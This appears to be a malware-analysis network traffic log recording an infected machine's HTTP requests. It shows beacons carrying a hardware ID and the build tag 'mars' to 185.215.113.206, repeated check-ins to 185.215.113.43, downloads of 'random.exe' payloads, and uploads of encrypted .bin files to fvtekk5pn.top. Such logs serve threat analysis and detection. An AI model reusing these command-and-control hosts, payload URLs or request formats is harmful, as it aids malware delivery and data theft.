Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEHCBAFIDAECBGCBFHJEHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 48 43 42 41 46 49 44 41 45 43 42 47 43 42 46 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 35 39 43 38 39 44 34 37 32 43 42 31 36 38 31 38 39 35 35 38 37 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 43 42 41 46 49 44 41 45 43 42 47 43 42 46 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 43 42 41 46 49 44 41 45 43 42 47 43 42 46 48 4a 45 2d 2d 0d 0a Data Ascii: ------IEHCBAFIDAECBGCBFHJEContent-Disposition: form-data; name="hwid"D59C89D472CB1681895587------IEHCBAFIDAECBGCBFHJEContent-Disposition: form-data; name="build"mars------IEHCBAFIDAECBGCBFHJE--
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 34 38 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008485001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 34 38 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008486001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGCFCBAKKFBFIECAEBAEHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 43 46 43 42 41 4b 4b 46 42 46 49 45 43 41 45 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 35 39 43 38 39 44 34 37 32 43 42 31 36 38 31 38 39 35 35 38 37 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 43 42 41 4b 4b 46 42 46 49 45 43 41 45 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 43 42 41 4b 4b 46 42 46 49 45 43 41 45 42 41 45 2d 2d 0d 0a Data Ascii: ------CGCFCBAKKFBFIECAEBAEContent-Disposition: form-data; name="hwid"D59C89D472CB1681895587------CGCFCBAKKFBFIECAEBAEContent-Disposition: form-data; name="build"mars------CGCFCBAKKFBFIECAEBAE--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1Host: home.fvtekk5pn.topAccept: /
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 34 38 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008487001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: /Content-Length: 458Content-Type: multipart/form-data; boundary=------------------------69KraUnzj5RkJ5IAUqNKeGData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 36 39 4b 72 61 55 6e 7a 6a 35 52 6b 4a 35 49 41 55 71 4e 4b 65 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 46 69 70 6f 6c 75 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 93 45 3a 99 fd 70 7e 68 92 59 ee ce 63 05 66 8c 42 6c 99 27 13 9b 42 33 32 e3 80 95 c4 b2 a6 36 99 fa 37 70 51 65 e9 4f 18 cb d1 21 08 8c d3 f4 1c b2 98 af 74 05 6a 2b 57 46 7b 5b 5a d7 d7 d6 1b 85 38 58 fc 60 77 eb bf b7 66 07 42 37 3f 2c 80 a3 58 99 0c fe b0 5b 85 b2 7a 20 fb 26 2f ef 06 0a 54 a3 c0 f7 a1 74 83 2a 1c 1c e3 65 d9 c7 f5 81 18 64 89 7c f7 fb 4c 0f 67 fa 00 41 57 ec 5a 78 45 5d 7d d0 4c f7 2d af cb 04 d7 d8 89 2b 0f 2c e9 43 c6 c6 f1 fa a5 d5 1e a1 16 d2 cb aa f7 d4 c3 41 a4 7f 2b 16 db 1d 48 1b 06 11 2b 08 c7 ea d8 9d 4e ae c7 c0 f8 f6 33 c5 3f 9d 02 86 58 10 32 69 4f 03 d0 b0 75 91 f2 0e b0 8e 9a 69 37 b7 3e 12 c4 ae 90 24 94 25 e0 97 2e 12 29 6e fd b3 68 13 c1 3c ae d6 e4 2d b8 24 0c 42 e6 e5 4c 1e cf be 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 36 39 4b 72 61 55 6e 7a 6a 35 52 6b 4a 35 49 41 55 71 4e 4b 65 47 2d 2d 0d 0a Data Ascii: --------------------------69KraUnzj5RkJ5IAUqNKeGContent-Disposition: form-data; name="file"; filename="Fipolu.bin"Content-Type: application/octet-streamE:p~hYcfBl'B3267pQeO!tj+WF{[Z8X`wfB7?,X[z &/Tt*ed\|LgAWZxE]}L-+,CA+H+N3?X2iOui7>$%.)nh<-$BL--------------------------69KraUnzj5RkJ5IAUqNKeG--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: /Content-Length: 58858Content-Type: multipart/form-data; boundary=------------------------6VaOCLJCbl9MoCx2f5pEwpData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 36 56 61 4f 43 4c 4a 43 62 6c 39 4d 6f 43 78 32 66 35 70 45 77 70 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 61 78 6f 6d 61 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 56 59 21 d1 f0 a4 a6 55 5d 05 e1 0d c2 02 c1 ba fd c1 62 06 57 6b 48 55 14 ec d0 2a 0a 22 de a8 74 ca 9c 06 1a 7d 5e 87 06 09 f1 16 86 01 0c b5 d3 38 ba 39 0a d2 72 44 95 cb 2b 0e e1 0b 2d 4d e2 4b 13 78 c1 c3 30 a7 e9 0c 15 62 df 4c c0 a0 91 92 c3 18 05 f4 af e8 e6 78 65 d0 c3 8d cd 4f ef 96 a5 ce 27 a4 6d 6d 15 1d ab 82 12 6c 09 a0 3b e1 35 0d 75 bc 7d f0 cd cd 6f 4a f1 05 75 97 8e 56 e0 15 80 20 a4 63 b4 bd d4 66 d4 34 9c c6 04 a0 aa 1b f1 7e 6b f1 4d 47 fc 97 7a 86 22 a3 fa 0c ff 1a 92 5a 2f a2 db d0 a1 89 45 f1 94 e9 b1 72 fb ba fa 00 d4 ff 6a 8c e6 ac 61 bf 4b 1f 0f b5 87 20 14 6d 04 74 30 d2 2f f9 1a 26 b9 67 ec f8 32 e1 96 97 47 33 cb 5a 66 3b 50 68 b7 db 93 56 77 f9 a3 cc 3d db 4b 34 6b 2b 07 e8 30 75 ed 94 05 cc 5e 3f fc 3f 31 44 08 87 f9 5a 09 f5 79 f3 be d8 2e 11 07 d0 a0 a2 17 76 83 09 52 f3 28 3e 29 ec 1b 7a 9a 4e d3 aa 0d 04 fb 90 d2 8c de a8 ca 54 ee 3d 71 58 3e 8b 92 7a a4 41 58 a7 aa 6c a5 53 e2 34 44 99 0e 57 17 9f 18 55 5d 70 19 e6 f1 ab 7f 00 fe 22 d7 de 03 34 ea 8d 5a dd 6f cf 35 31 b5 50 d1 6e c6 81 3a 42 0a 7c 1f f1 f5 89 55 e9 57 bf eb 4f 46 88 b4 b5 1b 5d cc 59 4d 35 a7 be 2b 9d 9d 1c ff db 4a bd 7e 63 04 83 29 f7 59 ae 84 a8 f6 5e 54 4a 31 88 e8 a3 9d 88 00 c7 6d 85 fc cd 4f 00 71 03 a0 e0 74 1e 61 fc f4 ce 45 da a1 d7 b5 07 d2 a2 8c d5 95 69 49 c7 67 aa 82 0f f7 67 fe 2f 68 df 5a ae 96 c8 2d 0c 46 0d 93 1a 84 58 a6 8d 4c 53 aa e2 d3 be ba d7 14 ad 14 66 9c be b6 fc 1d c5 63 bc 50 f3 ae 49 35 49 3f 05 28 91 f6 40 e5 f5 03 e6 4e ab 00 28 75 69 4b 07 a2 0e 7b 72 73 d3 0b 4d fb 77 ed 48 b3 f4 45 92 4c 60 1f 17 01 eb 13 1d bc 81 d9 50 5c 69 51 73 c8 0c 29 50 17 bf c6 e4 6b cb 72 d2 ff 3b 09 83 fc 7c 18 9b a0 db c2 69 7b ca 96 71 5f 62 4c 28 6f fc 8b 1a 1c 06 0d 4c dc bf f0 10 a6 e3 eb b5 54 fc 43 6f 6d 47 c5 c8 9a cb 5e 3c 96 97 e6 45 20 6f c4 10 8d 0a af 70 9a 43 65 12 d9 d1 57 dd 39 b9 7a 53 e9 14 99 f0 74 a4 21 f1 13 80 f8 c6 e8 ce e0 cd b6 13 41 b4 e4 4f 2d eb a7 db 2d b9 44 2a fa 47 1e 6b 55 18 8b e0 b6 c9 5c 3a 3d 32 c1 bf c6 a0 d4 67 54 6c 05 09 14 3c 0a ee b4 be 4f 7e 81 27 68 b9 58 3c 02 a6 65 af 3f 76 26 69 b8 19 49 40 e6 16 21 fe 18 7d 7c f7 ea 91 16 e0 a6 fe 85 27 58 e4 1b 97 96 19 99 14 33 27 8c b3 b1 ea 57 7e 73 23 97 54 ed 85 99 51 5c cf ee 29 a3 a1 4a 2e b9 b1 b2 55 3b f5 a4 fa 30 29 3b a6 1b a7 45 a3 70 eb e9 c1 7f 71 53 cf 9b 4f de 85 c5 3d 66 10 fc
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
